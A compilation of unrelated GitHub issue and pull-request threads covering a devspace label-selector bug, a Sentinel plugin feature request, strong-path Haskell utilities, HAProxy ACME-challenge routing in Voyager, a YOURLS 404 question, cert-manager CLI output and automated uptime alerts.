;; ANSWER SECTION:
www.google.com.	299	IN	A	<IP_ADDRESS>

2017/**/** **:**:** [Debug]App|DNS|Server: returning 1 IPs for domain www.google.com.
2017/**/** **:**:** [Info]Proxy|Freedom: changing destination from tcp:www.google.com:443 to tcp:<IP_ADDRESS>:443

Will be fixed in next release.


Label Selector only works with one key/value pair

What happened?
An error occurs when using more than one key/value pair as a label selector for port forwarding.
Error:
Unable to start portforwarding: Unable to list devspace pods: found ',', expected: !, identifier, or 'end of string'
Example Configuration:
ports:
- labelSelector:
    app: redis-ha
    redis-role: master
  portMappings:
  - localPort: 6379
    remotePort: 6379

What did you expect to happen instead?
I expected portforwarding to start and match the pod on multiple labels.
How can we reproduce the bug? (as minimally and precisely as possible)
Use multiple key/value pairs in a labelSelector and run devspace up. See "Example Configuration" above.
Local Environment:

Operating System: mac
Deployment method: helm

Kubernetes Cluster:

Cloud Provider: local
Kubernetes Version: [use kubectl version]

Client Version: version.Info{Major:"1", Minor:"9", GitVersion:"v1.9.2", GitCommit:"5fa2db2bd46ac79e5e00a4e6ed24191080aa463b", GitTreeState:"clean", BuildDate:"2018-01-18T21:12:46Z", GoVersion:"go1.9.2", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"10", GitVersion:"v1.10.5", GitCommit:"32ac1c9073b132b8ba18aa830f46b77dcceb0723", GitTreeState:"clean", BuildDate:"2018-06-21T11:34:22Z", GoVersion:"go1.9.3", Compiler:"gc", Platform:"linux/amd64"}

Anything else we need to know?
This occurred with the<EMAIL_ADDRESS>chart. With that version of the chart, there are several nodes labeled as master or slave, but only the master pods can be written to. I've upgrade to the 3.0 version of the chart, which has a different deployment model, but this issue would occur with any pod that needs multiple labels to be uniquely identified.

/kind bug

Thanks for opening this issue! Should be fixed with version v2.3.1


Hyperlink is not working in the pdf

Hyperlink is not working in the pdf

hyperlinks won't work as it's a screenshot, as mentioned in the README:

Not vectorized - the pdf is created from a screenshot of the component and therefore is not vectorized. If you are looking for something more advanced to generate pdf using React components, please check out other popular alternatives packages listed below.


Add simple memory saving techniques to GCPNet encoder

Adds some simple memory saving techniques to GCPNet encoder to reduce RAM and disk usage where possible.

Closing this since it's no longer relevant.


[FLINK-3712] Make all dynamic properties available to the CLI frontend

Merging ...

Could you please merge this to release-1.0 as well? (BTW you didn't close the JIRA issue yet.)


Should allow for arguments containing whitespaces to be matched

This would allow for stubbing commands with whitespace in its arguments, even if it is not an elegant solution.

Just read the comments on the other PR, would be great with a hint towards whats discussed in readme. :)


FollowClose

Hey,
Using Sentinel Sentinel-1.7.6-b203 with Paper 1.13.2-488. With this new update (Sentinel), I'm no longer able to deal damage to my own bodyguard. This was useful because the guard always teleports into you and this is quite annoying. Back in the Sentry days, there used to be a "followclose" command that would tell the guard how far behind you to follow.
So there are 2 requests:

Can we go back to being able to hurt our own bodyguards?

Can we get a "follow close" command that tells the Sentinel how far to keep its distance from us at any time?

If this already exists, please let me know- I've checked the command structure and cannot find any such command.
Thanks.

Relevant settings here: https://github.com/mcmonkeyprojects/Sentinel/blob/master/src/main/resources/config.yml#L78-L85
You may also want to check the use-new-finder setting in Citizens (when it's set true NPC pathfinding tends to be more intelligent, including obeying distance margins)
Theoretically with that enabled and the config settings set reasonably, the NPC should never run into you (you may in particular want a rather high margin to be safest on that)

This works, thanks. Now I've got good distance and the guard is no longer in my way. It would be nice to have a command though, this way I won't have to reload the server each time I make changes. On that note, a "/sentinel reload" command would be nice to have. I do like the new command structure though, thanks for adding this.
As always, appreciate the help!

As of build DEV-219+,
There's now a /sentinel reload command available.
Additionally, there's now a no guard damage: true option in the config - set this to false to satisfy your request Can we go back to being able to hurt our own bodyguards?

And as of build DEV-220+ you can as well use /sentinel guarddistance to set the guarddistance on a single NPC at any time.
I believe this completes everything you've requested here.
Please let me know if there's anything missing or not working


Add more utilities to strong-path

The path library offers a bunch more utility functions (https://hackage.haskell.org/package/path-0.9.2/docs/Path-Posix.html#g:4) that strong-path would benefit from having. Currently, to do things like work with extensions you have to convert to a path Path, use functions from that library, and then back to a strong-path Path.

@craigmc08 you implemented some of these, could you paste implementations here or in other relevant issues (there are some open already)?

Implementing these functions just needs a bit of wrapping/unwrapping code to use the functions from path. Here are the ones I've implemented:
stripProperPrefix :: MonadThrow m => Path' b (Dir d) -> Path' b (File f) -> m (Path' (Rel d) (File f))
stripProperPrefix base file =
  fromPathRelFile
    <$> Path.stripProperPrefix (toPathAbsDir base) (toPathAbsFile file)

replaceExtension :: MonadThrow m => String -> Path' b (File f) -> m (Path' b (File f))
replaceExtension ext path =
  fromPathAbsFile <$> Path.replaceExtension ext (toPathAbsFile path)

And I see #40 is related.


Feat/acme client

I have created a new module named acme-client, which will be used for automated certificate management.
RFC DOC

Codecov Report

Merging #619 into master will decrease coverage by 0.03%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##             master     #619      +/-   ##
============================================
- Coverage     48.88%   48.85%   -0.04%
+ Complexity     1939     1936       -3
============================================
  Files           269      269
  Lines         11928    11928
  Branches       1697     1697
============================================
- Hits           5831     5827       -4
- Misses         5409     5410       +1
- Partials        688      691       +3

Impacted Files
Coverage Δ
Complexity Δ

.../src/main/java/com/networknt/utility/HashUtil.java
60.00% <0.00%> (-3.34%)
10.00% <0.00%> (-1.00%)

...n/java/com/networknt/client/oauth/OauthHelper.java
35.92% <0.00%> (-0.60%)
25.00% <0.00%> (-2.00%)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update df3f6b3...b592654. Read the comment docs.

@shabeebrp Are we ready to merge? Thanks.

@stevehu , functionality is done. I am working on the Unit tests now and will do some more refactoring after that.
I will try to finish it by next week.

Cool. Several team members are planning to work on the cloud packaging these days and this component would be a very important asset in the package.


Cannot print messages larger than 49 characters

Probably should switch to a proper cowsay library instead of whatever I'm using rn...


Futures cpupool debug impls

r? @alexcrichton
Want me to do the version bump commit too, or do you want to do that when publishing the next version (can you please publish a new version? 😺 )

Thanks! I'll publish a new version right now too


⚠ ClamAV has degraded performance

In 17f7272, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 53 ms

Resolved: ClamAV performance has improved in e82d975.


Mark polling methods and events as obsolete

should event args classes also be marked as obsolete?

@karb0f0s I'd say they should be since they are a part of events.

@karb0f0s I'd say they should be since they are a part of events.

done


Not Fully Functional UI in the v0.9.1 Docker Image Release

Hi,
I've just downloaded the docker image I would like to use for Rancher: v0.9.1 (docker pull rancher/server:v0.9.1)
The UI does not work properly, e.g.,: I can only add custom hosts, I'm not able to specify the labels while adding the hosts. Moreover the hosts do not appear in the hosts interface after following the instruction provided in the new UI.
The image tagged with latest, works properly.
Regards

Tags in the DockerHub list are not sorted by date; v0.9.1 is what Rancher looked like approximately 5 months ago.

@vincent99 thank you for the fast reply. So the only up to date tag is "latest"?

Until we have a "1.0" release the 2nd digit is just the week number of the year.
So the newest tag is v0.27.0-rc4, but there should be a final v0.27.0 later today.  latest is generally the last stable release, which is currently v0.25.0.

@vincent99 nice to know, thanks! I would suggest writing it on Docker Hub, since that way the information can be easily found.


Full changelog link at bottom of latest release doesnt work correctly

Expected Behaviour

Link should point to a list of all activity between the two points
Actual Behaviour

Seems either GitHub cant figure out what happened with the version numbers or something else is broken
Reproduction steps

Click the Full Changelog: link at the bottom of the v26 release (latest as of post)
Frequency

Aurora Version:

Previously an Issue?

Sorry, I adited that part manually. Fixed it now

Wasn't super tore up about it, just a issue was the best way to let you know I figured. Love the program so glad to help out in whatever little ways I can!


Two fewer failures

Preserve newlines across tokenization, so we can catch invalid documents with
unexpected newlines at parse-time
I'm not sure if this was the right way to solve this, or if there's a way to
let tokenization itself fail on unexpected newlines -- but not have the
parser ever need to know about them. Let me know what you think.

Replace calls to error with monadic failure, so we get parse errors, not
exceptions, on certain invalid documents.

tracking newlines into parser is useful, as they can be semantic.


"404 not found" when going to shortened URL

I can access the login/dashboard fine, and I can type in the website to shorten and all, but when I goto the URL it gives me, it says "404 Not Found"
"http://domain.com/url/em8ed" is supposed to go to "http://google.com/"
Please help a.s.a.p! Thank you!

Whats RTFM mean? Can I get some help?
Thanks!

RTFM = Read The Fine Manual (that's the polite version)
What Ozh means is that you seem not to have read the configuration instructions, or have not searched for previous occurrences of this issue (there are many just in this issue tracker).

Where have I messed up at? I don't know sorry.
Thanks in advance for any help! :)

I can only provide a general guess because you haven't given us any details about your setup.
My guess is that you haven't properly configured the rewrite rules in the web server.

How do I do that?

Please read Contributing Guidelines.
For configuration, take a look at yourls.org.


SMS Template Management UI

Description
The UI capability has to be provided to update the SMS templates. This has to be done by adding the capability to the React console.
Related issue

https://github.com/wso2/product-is/issues/21209

UI Design


LE: Too many invalid authorizations recently

conditions:

lastUpdateTime: 2017-10-06T10:49:11Z
reason: 'failed to create certificate. Reason: example.com: acme: Error 429

urn:acme:error:rateLimited - Error creating new authz :: Too many invalid
authorizations recently.'
type: RateLimited

i am trying to issue cert using the HTTP-01 challenge, and I have created the cert but validation failed acme: Error 403 - urn:acme:error:unauthorized - Invalid response from http://example.com/.well-known/acme-challenge/ajaKN1Y6M3629Xr5EKHSJ4SgM1Ti89Gv2Owf_JI-5u8 (404 not found follows)
when looking at the configmap generated for haproxy, the frontend section is as such:
frontend http-0_0_0_0-80
  bind *:80
  mode http
  option httplog
  option forwardfor
  acl is_proxy_https hdr(X-Forwarded-Proto) https
  acl host_acl_example.com hdr(host) -i example.com
  acl host_acl_example.com hdr(host) -i example.com:80
  use_backend adminer.default:4180-jjppyc if host_acl_example.com
  acl host_acl_ww2.example.com hdr(host) -i ww2.example.com
  acl host_acl_ww2.example.com hdr(host) -i ww2.example.com:80
  use_backend arthur-oauth-protected.core:80-uzzpm5 if host_acl_ww2.example.com
  acl url_acl___.well-known_acme-challenge_ path_beg /.well-known/acme-challenge/
  use_backend voyager-common-ingress.default:56791-tekat2 if  url_acl___.well-known_acme-challenge_

so it seems that /.well-known/acme-challenge/ does not get matched early enough in the haproxy config

I can confirm that rolling back to 5.0.0-rc3 fixes the issue. The generated frontend section for 5.0.0-rc3 is:
frontend http-80
  bind *:80
  mode http

  option httplog
  option forwardfor

  acl url_acl_voyager-common-ingress.default:56791-sap6gs path_beg /.well-known/acme-challenge/
  use_backend voyager-common-ingress.default:56791-sap6gs if  url_acl_voyager-common-ingress.default:56791-sap6gs

  acl host_acl_adminer.default:4180-namq7y hdr(host) -i example.com
  acl host_acl_adminer.default:4180-namq7y hdr(host) -i example.com:80

  use_backend adminer.default:4180-namq7y if host_acl_adminer.default:4180-namq7y

  acl host_acl_arthur-oauth-protected.core:80-3ealro hdr(host) -i ww2.example.com
  acl host_acl_arthur-oauth-protected.core:80-3ealro hdr(host) -i ww2.example.com:80

  use_backend arthur-oauth-protected.core:80-3ealro if host_acl_arthur-oauth-protected.core:80-3ealro


02 - Desktop & Screen Saver - Start screen saver after "never"

Not finished. Screensaver set to start after 20 minutes


Ctl command status certificate: Output info about completed CRs

Is your feature request related to a problem? Please describe.
Currently when a CR is successful and the Certificate is ready, running the status certificate command will output No CertificateRequest found for this Certificate
Describe the solution you'd like
Discussion point: @wallrj thinks the command should show the completed CertificateRequest as well as in-progress CRs.
It is slightly confusing that we say No CertificateRequest found for this Certificate even though the CR still exists. But printing all past CRs may be too much output. Could there valuable information about CRs that are long in the past?
Currently I would suggest just printing the last completed CR (if any) and the in-progress CR (if any, should be at most one).
/kind feature

/area ctl
/priority important-soon

@meyskens I like to work on this, can i work on this ?

@tharun208 feel free! you can assign yourself using /assign


⚠ Samsung has degraded performance

In aba1065, Samsung (https://samsung.com) experienced degraded performance:

HTTP code: 200
Response time: 2036 ms

Resolved: Samsung performance has improved in 99c5bb1.